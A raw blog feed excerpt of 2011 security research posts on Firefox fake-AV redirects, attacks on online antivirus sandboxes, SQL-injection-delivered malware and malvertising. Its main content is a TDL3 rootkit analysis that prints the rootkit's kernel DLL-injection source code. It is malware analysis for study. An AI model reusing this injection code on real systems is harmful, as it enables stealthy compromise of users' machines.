href="http://3.bp.blogspot.com/-fNHgJ3I1X_Q/TcB8kisqy9I/AAAAAAAAA6g/-xhdLvVGhec/s1600/malware.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 166px;" src="http://3.bp.blogspot.com/-fNHgJ3I1X_Q/TcB8kisqy9I/AAAAAAAAA6g/-xhdLvVGhec/s400/malware.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5602614903680191442" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Further, Mozilla inbuilt bad site reporting service works collectively with &lt;span style="font-weight:bold;"&gt;stopbadware.org.&lt;/span&gt; Firefox uses redirection to redirect user to the legitimate domain (stopbadware.org) on ignoring the warning. That is something we all know.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;[REQUEST]&lt;br /&gt;GET /?hl=en-US&amp;url=http%3A%2F%2Fupdate82.sashrod.ce.ms%2Findex.php%3FQ1Xhk9SJbYJGPXpjM%2&lt;br /&gt;FtL5is7E974ZjcioT7yKQchpNjVUC%2B1hEwpaVGuq1zgdVqksMShxC9dHBs&lt;br /&gt;2rpwYqQjCVkTeZbDJDe1pKU0ChURY HTTP/1.1&lt;br /&gt;Host en-us.malware-error.mozilla.com&lt;br /&gt;User-Agent Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17 ( .NET CLR 3.5.30729; .NET4.0C)&lt;br /&gt;Accept text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;Accept-Language en-us,en;q=0.5&lt;br /&gt;Accept-Encoding gzip,deflate&lt;br /&gt;Accept-Charset ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;Keep-Alive 115&lt;br /&gt;DNT 1&lt;br /&gt;Connection keep-alive&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;[RESPONSE]&lt;br /&gt;&lt;br /&gt;(Status-Line) HTTP/1.1 302 Found&lt;br /&gt;Date Tue, 03 May 2011 22:28:08 GMT&lt;br /&gt;Server Apache&lt;br /&gt;X-Backend-Server pm-web02&lt;br /&gt;Location http://www.stopbadware.org/firefox?hl=en-US&amp;&lt;br /&gt;url=http%3A%2%2Fupdate82.sashrod.ce.ms%2Findex.php%3FQ1Xhk9SJbYJGP&lt;br /&gt;XpjM%2FtL5is7E974ZjcioT7yKQchpNjVUC%2B1hEwpaVGuq1zgdVqksMS&lt;br /&gt;hxC9dHBs2rpwYqQjCVkTeZbDJDe1pKU0ChURY&lt;br /&gt;Content-Length 394&lt;br /&gt;Keep-Alive timeout=20, max=996&lt;br /&gt;Connection Keep-Alive&lt;br /&gt;Content-Type text/html; charset=iso-8859-1&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;This discussion clearly indicates the fact that how badly browsers are getting manipulated. Consequentially, browsers are always at stake so do users despite of our protection efforts.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1900729850320917040-7644228885807734469?l=secniche.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://secniche.blogspot.com/feeds/7644228885807734469/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://secniche.blogspot.com/2011/05/firefox-av-fake-malware.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/7644228885807734469'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/7644228885807734469'/><link rel='alternate' type='text/html' href='http://secniche.blogspot.com/2011/05/firefox-av-fake-malware.html' title='Firefox Fake AV Alerts  - Malware Trigger'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-usEPqm78ROY/TcCEGlFiOcI/AAAAAAAAA6o/C8EmlDzJ46A/s72-c/5292-fake-sta_article.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1900729850320917040.post-4074270620530079412</id><published>2011-05-02T16:40:00.000-07:00</published><updated>2011-05-02T16:49:26.777-07:00</updated><title type='text'>Reverse Hijacking Web AV Engines</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-kxzZZWFHrRU/Tb9C_l_oV_I/AAAAAAAAA6I/K5gEuWkpcx0/s1600/hack%252Cjog.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 138px; height: 187px;" src="http://4.bp.blogspot.com/-kxzZZWFHrRU/Tb9C_l_oV_I/AAAAAAAAA6I/K5gEuWkpcx0/s400/hack%252Cjog.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5602270121770375154" /&gt;&lt;/a&gt; Web anti virus engines are used explicitly to perform behavioral analysis on the active malware. &lt;span style="font-weight:bold;"&gt;Is it possible for us to run some controlled binary in order to trace all the information of cloud infrastructure of virtual machines that collaboratively perform analysis of malicious executables?&lt;/span&gt; We have proved that in the past it is possible to hijack (information extraction) from the hidden servers in the cloud used for malware analysis. &lt;br /&gt;&lt;br /&gt;The technique discussed in the white-paper can be used in different scenarios in order to trick internal vmware servers to steal sensitive information and there by attacking in return. &lt;span style="font-weight:bold;"&gt;Goodwill Hunting :)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;div style='width:425px;text-align:left'&gt;&lt;object style='margin:0px' width='477' height='510'&gt;&lt;param name='movie' value='http://static.slidesharecdn.com/swf/ssplayerd.swf?doc=revhoneytrapavv1-12783145747237-phpapp02&amp;stripped_title=reverse-honey-trap-striking-deep-inside-online-web-antivirus-engines-and-analyzers' /&gt;&lt;param name='allowFullScreen' value='true'/&gt;&lt;param name='allowScriptAccess' value='always'/&gt;&lt;embed src='http://static.slidesharecdn.com/swf/ssplayerd.swf?doc=revhoneytrapavv1-12783145747237-phpapp02&amp;stripped_title=reverse-honey-trap-striking-deep-inside-online-web-antivirus-engines-and-analyzers' type='application/x-shockwave-flash' allowscriptaccess='always' allowfullscreen='true' width='477' height='510'&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;Reverse hacking proves beneficial in many scenarios.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1900729850320917040-4074270620530079412?l=secniche.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://secniche.blogspot.com/feeds/4074270620530079412/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://secniche.blogspot.com/2011/05/reverse-hijacking-web-av-engines.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/4074270620530079412'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/4074270620530079412'/><link rel='alternate' type='text/html' href='http://secniche.blogspot.com/2011/05/reverse-hijacking-web-av-engines.html' title='Reverse Hijacking Web AV Engines'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-kxzZZWFHrRU/Tb9C_l_oV_I/AAAAAAAAA6I/K5gEuWkpcx0/s72-c/hack%252Cjog.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1900729850320917040.post-5325830666296413236</id><published>2011-04-30T20:40:00.000-07:00</published><updated>2011-04-30T21:47:37.302-07:00</updated><title type='text'>TDL3 Rookit Implicit Analysis  (Part 2)</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-DR_E6zoFhIg/TbzdariAvXI/AAAAAAAAA6A/KV4lrROG-8E/s1600/images.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 188px; height: 172px;" src="http://1.bp.blogspot.com/-DR_E6zoFhIg/TbzdariAvXI/AAAAAAAAA6A/KV4lrROG-8E/s400/images.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5601595486973771122" /&gt;&lt;/a&gt; In our &lt;span style="font-weight:bold;"&gt;&lt;a href="http://secniche.blogspot.com/2011/04/tdl3-rootkit-implicit-analysis-part-1.html"&gt;last post about TDL rootkit&lt;/a&gt;&lt;/span&gt;, we discussed about the some of the generic features of TDL rootkit. As we know, all of the rootkits somewhat use DLL Hijacking technique. Same is true with TDL rootkit too. DLLInject function is presented below. &lt;br /&gt;&lt;br /&gt;Generally, this function use is designed in TDL rootkit to load the malicious or systems specific DLL directly from the path defined &lt;span style="font-weight:bold;"&gt;(*pcDll!='\\')&lt;/span&gt;. The malicious DLL can be loaded from the root directory of TDL rootkit. If no path is provided then it uses the explicit path define in the parameter &lt;span style="font-weight:bold;"&gt;cDllRealFormat[]=&lt;/span&gt;. After this, the code tries to find the unique process identifier of the process and not the process handle as specified in the parameter &lt;span style="font-weight:bold;"&gt;cidProcess.UniqueProcess=hProcessID;&lt;/span&gt;. &lt;span style="font-weight:bold;"&gt;"ZwOpenProcess"&lt;/span&gt; functions opens the specific process and virtual memory is allocated using &lt;span style="font-weight:bold;"&gt;"(ZwAllocateVirtualMemory"&lt;/span&gt;. By using &lt;span style="font-weight:bold;"&gt;KeStackAttachProcess &lt;/span&gt; the module attaches the current thread to the address space of the target process. After copying the real path "pcDllReal" to the memory. As soon as this is completed, &lt;span style="font-weight:bold;"&gt;KeUnstackDetachProcess&lt;/span&gt; routine detaches the current thread from the address space of a process and restores the previous attach state.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;NTSTATUS DllInject(HANDLE hProcessID,PEPROCESS pepProcess,PKTHREAD pktThread,PCHAR pcDll,BOOLEAN bAlert)&lt;br /&gt;{&lt;br /&gt; HANDLE hProcess;&lt;br /&gt; OBJECT_ATTRIBUTES oaAttributes={sizeof(OBJECT_ATTRIBUTES)};&lt;br /&gt; CLIENT_ID cidProcess;&lt;br /&gt; PVOID pvMemory=0;&lt;br /&gt; DWORD dwSize;&lt;br /&gt; CHAR cDllReal[MAX_PATH];&lt;br /&gt; CHAR cDllRealFormat[]={'\\','\\','?','\\','g','l','o','b','a','l','r','o','o','t','%','S','\\','%','S','\\','%','s',0};&lt;br /&gt; PCHAR pcDllReal;&lt;br /&gt;&lt;br /&gt;if(*pcDll!='\\') {&lt;br /&gt;  dwSize=_snprintf(cDllReal,RTL_NUMBER_OF(cDllReal)-1,cDllRealFormat,&lt;br /&gt;  GET_TDL_ADDRESSES-&gt;wcFSDevice,GET_TDL_ADDRESSES-&gt;wcTDLDirectory,pcDll)+1;&lt;br /&gt;  pcDllReal=cDllReal;&lt;br /&gt; }&lt;br /&gt; else {&lt;br /&gt;  pcDllReal=pcDll;&lt;br /&gt;  dwSize=strlen(pcDll)+1; }&lt;br /&gt;&lt;br /&gt; cidProcess.UniqueProcess=hProcessID;&lt;br /&gt; cidProcess.UniqueThread=0;&lt;br /&gt; if(NT_SUCCESS(ZwOpenProcess(&amp;hProcess,PROCESS_ALL_ACCESS,&amp;oaAttributes,&amp;cidProcess)))&lt;br /&gt; {&lt;br /&gt;   &lt;br /&gt;if(NT_SUCCESS(ZwAllocateVirtualMemory(hProcess,&amp;pvMemory,0,&amp;dwSize,&lt;br /&gt;MEM_RESERVE|MEM_COMMIT,PAGE_READWRITE)))&lt;br /&gt;  {&lt;br /&gt;   KAPC_STATE kasState;&lt;br /&gt;   PKAPC pkaApc;&lt;br /&gt;   KeStackAttachProcess(pepProcess,&amp;kasState);&lt;br /&gt;   strcpy(pvMemory,pcDllReal);&lt;br /&gt;   KeUnstackDetachProcess(&amp;kasState);&lt;br /&gt;   pkaApc=(PKAPC)ExAllocatePool(NonPagedPool,sizeof(KAPC));&lt;br /&gt;   if(pkaApc!=0)&lt;br /&gt;   {&lt;br /&gt;KeInitializeApc(pkaApc,pktThread,0,ADDRESS_DELTA(PKKERNEL_ROUTINE,&lt;br /&gt;APCKernelRoutine),0,GET_TDL_ADDRESSES-&gt;pvLoadLibraryExA,UserMode,pvMemory);&lt;br /&gt;    KeInsertQueueApc(pkaApc,0,0,IO_NO_INCREMENT);&lt;br /&gt;    return STATUS_SUCCESS;&lt;br /&gt;   }&lt;br /&gt;  }&lt;br /&gt;  ZwClose(hProcess); }&lt;br /&gt; return STATUS_NO_MEMORY;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This module is used directly in conjunction with WIInjector in order to complete DLL injection. The WIInjector code is somewhat works as follows&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;VOID WIInjector(PVOID pvContext)&lt;br /&gt;{&lt;br /&gt;CHAR cAny[]=TDL_CONFIG_INJECTOR_ANY;&lt;br /&gt;CHAR cSection[]=TDL_CONFIG_INJECTOR;&lt;br /&gt;CHAR cDll[MAX_PATH];&lt;br /&gt;CHAR cSection2[]=TDL_CONFIG_MAIN;&lt;br /&gt;CHAR cKey[]={'d','a','t','e',0};&lt;br /&gt;&lt;br /&gt;DWORD dwDate=TDLIniReadDword(GET_TDL_ADDRESSES-&gt;wcTDLConfig,cSection2,cKey,0);&lt;br /&gt;DWORD dwCurrent;&lt;br /&gt; &lt;br /&gt;LARGE_INTEGER liTime;&lt;br /&gt;KeQuerySystemTime(&amp;liTime);&lt;br /&gt;RtlTimeToSecondsSince1970(&amp;liTime,&amp;dwCurrent);&lt;br /&gt;//CHAR cDebug[]={'D','A','T','E','%','d',' ','%','d',' ','%','d',' ','%','d','\n',0};&lt;br /&gt;//DbgPrint(cDebug,dwDate,dwCurrent,dwCurrent-dwDate,0);&lt;br /&gt;&lt;br /&gt;//if(dwCurrent-dwDate&gt;=60*24*60)&lt;br /&gt;{ &lt;br /&gt;DbgPrint(cDebug,dwDate,dwCurrent,dwCurrent-dwDate,1);&lt;br /&gt;if(TDLIniReadString(GET_TDL_ADDRESSES-&gt;wcTDLConfig,cSection,cAny,0,cDll,sizeof(cDll)))&lt;br /&gt;{&lt;br /&gt;DllInject(((PWI_INJECT)pvContext)-&gt;hProcessID,((PWI_INJECT)pvContext)-&gt;pepProcess,((PWI_INJECT)pvContext)-&gt;pktThread,cDll,FALSE);&lt;br /&gt;  }&lt;br /&gt;  if(TDLIniReadString(GET_TDL_ADDRESSES-&gt;wcTDLConfig,cSection,RtlOffsetToPointer&lt;br /&gt;(((PWI_INJECT)pvContext)-&gt;pepProcess,GET_TDL_ADDRESSES-&gt;dwEPNameOffset),0,&lt;br /&gt;cDll,sizeof(cDll)))&lt;br /&gt;{&lt;br /&gt;DllInject(((PWI_INJECT)pvContext)-&gt;hProcessID,((PWI_INJECT)pvContext)-&gt;pepProcess,((PWI_INJECT)pvContext)-&gt;pktThread,cDll,FALSE); }&lt;br /&gt;}&lt;br /&gt;KeSetEvent(&amp;((PWI_INJECT)pvContext)-&gt;keEvent,(KPRIORITY)0,FALSE);&lt;br /&gt;return;&lt;br /&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;In the above presented code, TDL uses a specific configuration file in order to load &lt;br /&gt;information such as PID from parameters as &lt;span style="font-weight:bold;"&gt;"cAny[]=TDL_CONFIG_INJECTOR_ANY";"cSection[]=TDL_CONFIG_INJECTOR;"&lt;/span&gt;. It uses explicit time functions in order to trigger infection. "TDLIniReadString" is a custom designed module which is  a part of TDL rootkit library. The DLLInject function is called when current date is verified as &lt;span style="font-weight:bold;"&gt;(dwCurrent-dwDate&gt;=60*24*60)&lt;/span&gt;. After this WIInjector is triggered as a part of "APCInjectRoutine"&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;VOID __stdcall APCInjectRoutine(PKAPC pkaApc,PKNORMAL_ROUTINE*,PVOID*,PVOID*,PVOID*)&lt;br /&gt;{&lt;br /&gt; WI_INJECT wiiItem;&lt;br /&gt;&lt;br /&gt; ExFreePool(pkaApc);&lt;br /&gt; wiiItem.pktThread=KeGetCurrentThread();&lt;br /&gt; wiiItem.pepProcess=IoGetCurrentProcess();&lt;br /&gt; wiiItem.hProcessID=PsGetCurrentProcessId();&lt;br /&gt; KeInitializeEvent(&amp;wiiItem.keEvent,NotificationEvent,FALSE);&lt;br /&gt; ExInitializeWorkItem(&amp;wiiItem.qiItem,ADDRESS_DELTA(PWORKER_THREAD_ROUTINE,WIInjector),&amp;wiiItem);&lt;br /&gt; ExQueueWorkItem(&amp;wiiItem.qiItem,DelayedWorkQueue);&lt;br /&gt; KeWaitForSingleObject(&amp;wiiItem.keEvent,Executive,KernelMode,TRUE,0);&lt;br /&gt; return;&lt;br /&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;The discussion will remain continue in the next posts..&lt;/span&gt;..&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1900729850320917040-5325830666296413236?l=secniche.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://secniche.blogspot.com/feeds/5325830666296413236/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://secniche.blogspot.com/2011/04/tdl3-rookit-implicit-analysis-part-2.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/5325830666296413236'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/5325830666296413236'/><link rel='alternate' type='text/html' href='http://secniche.blogspot.com/2011/04/tdl3-rookit-implicit-analysis-part-2.html' title='TDL3 Rookit Implicit Analysis  (Part 2)'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-DR_E6zoFhIg/TbzdariAvXI/AAAAAAAAA6A/KV4lrROG-8E/s72-c/images.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1900729850320917040.post-4671857905189385315</id><published>2011-04-27T16:28:00.000-07:00</published><updated>2011-04-27T17:59:09.648-07:00</updated><title type='text'>SQLXSSI - Persistent Malware Base</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-q5nb70NTS-U/Tbi2yRAnIvI/AAAAAAAAA5w/5s8CuLilNV0/s1600/injection.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 250px; height: 167px;" src="http://3.bp.blogspot.com/-q5nb70NTS-U/Tbi2yRAnIvI/AAAAAAAAA5w/5s8CuLilNV0/s400/injection.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5600427111310893810" /&gt;&lt;/a&gt; With the advent of new and sophisticated malware, the modes of infection has become more efficient from previous times. The spreading of web malware takes place through web vulnerabilities which further impacts the browser interface to drop malware. Reflective XSS vulnerabilities are exploited heavily to spread malware. In last year &lt;span style="font-weight:bold;"&gt;&lt;a href="http://www.slideshare.net/adityaks/owasp-app-sec-us-2010"&gt;OWASP AppSec USA&lt;/a&gt;&lt;/span&gt; conference, we presented SQLXSSI technique which has become the preferred choice of attackers to infect databases with malicious iframes and payloads. &lt;br /&gt;&lt;center&gt;&lt;div style="width:425px" id="__ss_5233765"&gt; &lt;strong style="display:block;margin:12px 0 4px"&gt;&lt;a href="http://www.slideshare.net/adityaks/owasp-app-sec-us-2010" title="OWASP App Sec US - 2010"&gt;&lt;/a&gt;&lt;/strong&gt; &lt;iframe src="http://www.slideshare.net/slideshow/embed_code/5233765" width="425" height="355" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"&gt;&lt;/iframe&gt;   &lt;/div&gt;&lt;/center&gt;&lt;br /&gt;This technique is opted to conduct mass SQL injection attacks because infecting database tables result in easy spreading of malicious content across different domains because of content sharing. &lt;br /&gt;&lt;br /&gt;It is quite a different from persistent nature of XSS because in SQLXSSI, the attacker wants to update the database table with encoded output and it remains there for long period of time. When an application, runs a specific query in the database, the payload is decoded and renders in the browser. In persistent XSS injections, payloads are passed as direct data which may or may not be stored in the database but it becomes persistent in web pages. Further, no SQL injection vulnerability is exploited. &lt;br /&gt;&lt;br /&gt;In SQLXSSI, SQL injections (Direct+Blind) are used explicitly by the attacker to inject payloads in the database in the raw format. It is retrieved back from the database based on the application design and in which tables attacker has injected the payloads. &lt;br /&gt;&lt;br /&gt;Predominantly, one vulnerability is used to trigger another which ultimately results in spreading malware. This content can be retrieved by any resources which are using the database of infected website. For example: the below presented figure shows the presence of malicious scripts inside the PDF&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-xbBABXlhJww/Tbi1-B1_rMI/AAAAAAAAA5o/Ad7VyFeZgTs/s1600/sqlxssi.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 303px;" src="http://2.bp.blogspot.com/-xbBABXlhJww/Tbi1-B1_rMI/AAAAAAAAA5o/Ad7VyFeZgTs/s400/sqlxssi.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5600426213886635202" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This PDF document is actually generated from print.asp page which fetches some content from the database, in this case it is infectious. However, our discussion in this example adheres to the way data is shared among different resources and how infectious can SQLXSSI attacks be.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1900729850320917040-4671857905189385315?l=secniche.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://secniche.blogspot.com/feeds/4671857905189385315/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://secniche.blogspot.com/2011/04/sqlxssi-persistent-malware-base.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/4671857905189385315'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/4671857905189385315'/><link rel='alternate' type='text/html' href='http://secniche.blogspot.com/2011/04/sqlxssi-persistent-malware-base.html' title='SQLXSSI - Persistent Malware Base'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-q5nb70NTS-U/Tbi2yRAnIvI/AAAAAAAAA5w/5s8CuLilNV0/s72-c/injection.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1900729850320917040.post-5970614554492086388</id><published>2011-04-23T09:40:00.000-07:00</published><updated>2011-04-23T09:42:47.451-07:00</updated><title type='text'>Malvertisements - Elsevier CFS Journal</title><content type='html'>&lt;center&gt;&lt;div style="width:477px" id="__ss_7715544"&gt; &lt;strong style="display:block;margin:12px 0 4px"&gt;&lt;a href="http://www.slideshare.net/adityaks/malvertising-exploiting-web-advertising" title="Malvertising - Exploiting Web Advertising | Elsevier Computer Fraud and Security Journal"&gt;Malvertising - Exploiting Web Advertising | Elsevier Computer Fraud and Security Journal&lt;/a&gt;&lt;/strong&gt; &lt;iframe src="http://www.slideshare.net/slideshow/embed_code/7715544" width="477" height="510" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"&gt;&lt;/iframe&gt; &lt;div style="padding:5px 0 12px"&gt; View more &lt;a href="http://www.slideshare.net/"&gt;documents&lt;/a&gt; from &lt;a href="http://www.slideshare.net/adityaks"&gt;Aditya K Sood&lt;/a&gt; &lt;/div&gt; &lt;/div&gt;&lt;/center&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1900729850320917040-5970614554492086388?l=secniche.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://secniche.blogspot.com/feeds/5970614554492086388/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://secniche.blogspot.com/2011/04/malvertisements-elsevier-cfs-journal.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/5970614554492086388'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/5970614554492086388'/><link rel='alternate' type='text/html' href='http://secniche.blogspot.com/2011/04/malvertisements-elsevier-cfs-journal.html' title='Malvertisements - Elsevier CFS Journal'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1900729850320917040.post-8372396618005761975</id><published>2011-04-16T09:36:00.000-07:00</published><updated>2011-04-16T13:41:13.328-07:00</updated><title type='text'>TDL3 Rootkit - Implicit Analysis (Part 1)</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-AdEWdQk_4ZE/TanNLdabyDI/AAAAAAAAA5g/MNe53jtwyo0/s1600/picture-rootkit.png"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 225px; height: 197px;" src="http://4.bp.blogspot.com/-AdEWdQk_4ZE/TanNLdabyDI/AAAAAAAAA5g/MNe53jtwyo0/s400/picture-rootkit.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5596229608742307890" /&gt;&lt;/a&gt;&lt;br /&gt;TDL3 rootkit is one of the most advanced rootkit that is used in the wild for spreading malware and compromising window machines specifically. Primarily, the TDL3 rootkit is very stable from execution point of view. Previously, the rootkit was supposed to infect 32 bit systems but latest versions are impacting the windows x64 bit boxes. in the previous times, we have noticed rootkits that impact Master Boot Record (MBR) and these are termed as vbootkits. However, TDL3 rootkit is showing infections that are specifically targeting MBR's. In this post , we are going to discuss about the TDL3 rootkit design and its impact. This analysis is basically used to discuss all the routines used by TDL3 rootkit and is divided into number of posts. This is the first post and further details will be discussed in later posts. TDL3 rootkit uses most of the function from windows driver framework libraries discussed in &lt;span style="font-weight:bold;"&gt;wdm.h&lt;/span&gt; and it loaded itself as a device driver.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;[1] Getting the Offset of System Process:&lt;/span&gt;&lt;br /&gt;TDL3 rootkit uses the listed technique of getting the offset of System (System 0) process from the current process (rootkit process) in execution. It uses RtlOffsetToPointer() function to locate the process offset from the given base address. The base address is extracted by using IoGetcurrentProcess() which returns a pointer to the based address. With respect to it, the offset of "SYSTEM 0" process is calculated which is nothing but the first process that is spawned by windows.&lt;br /&gt;"SYSTEM 0" value  is passed as a string of chars to the cSystem array[]. Once the function is called it is loaded effectively into the memory to set the base address &lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;VOID GetEPNameOffset(){&lt;br /&gt; CHAR cSystem[]={'S','y','s','t','e','m',0};&lt;br /&gt; GET_TDL_ADDRESSES-&gt;dwEPNameOffset=0;&lt;br /&gt; &lt;br /&gt; while(memcmp(RtlOffsetToPointer(IoGetCurrentProcess(),&lt;br /&gt; GET_TDL_ADDRESSES-&gt;dwEPNameOffset),cSystem,sizeof(cSystem))!=0)&lt;br /&gt; { GET_TDL_ADDRESSES-&gt;dwEPNameOffset++; }&lt;br /&gt; return;&lt;br /&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;[2] Getting NT OS Kernel Base&lt;/span&gt;&lt;br /&gt;TDL3 rootkit tries to find the base address of ntoskrn.exe in order to take control of the low level system functioning. In the code presented below, &lt;span style="font-weight:bold;"&gt;"__asm { sidt bIDT; }" declares SIDT instruction which is used to find Interrupt Descriptor Table(IDT) address in the memory&lt;/span&gt;. It basically returns the IDTINFO structure in which entries are segregated in lower WORD and high WORD values. In IDTINFO structure, each entry has its own structure which is 64 bit long. Each entry contains the address of the function that handles a specific interrupt. &lt;span style="font-weight:bold;"&gt;Interrupt 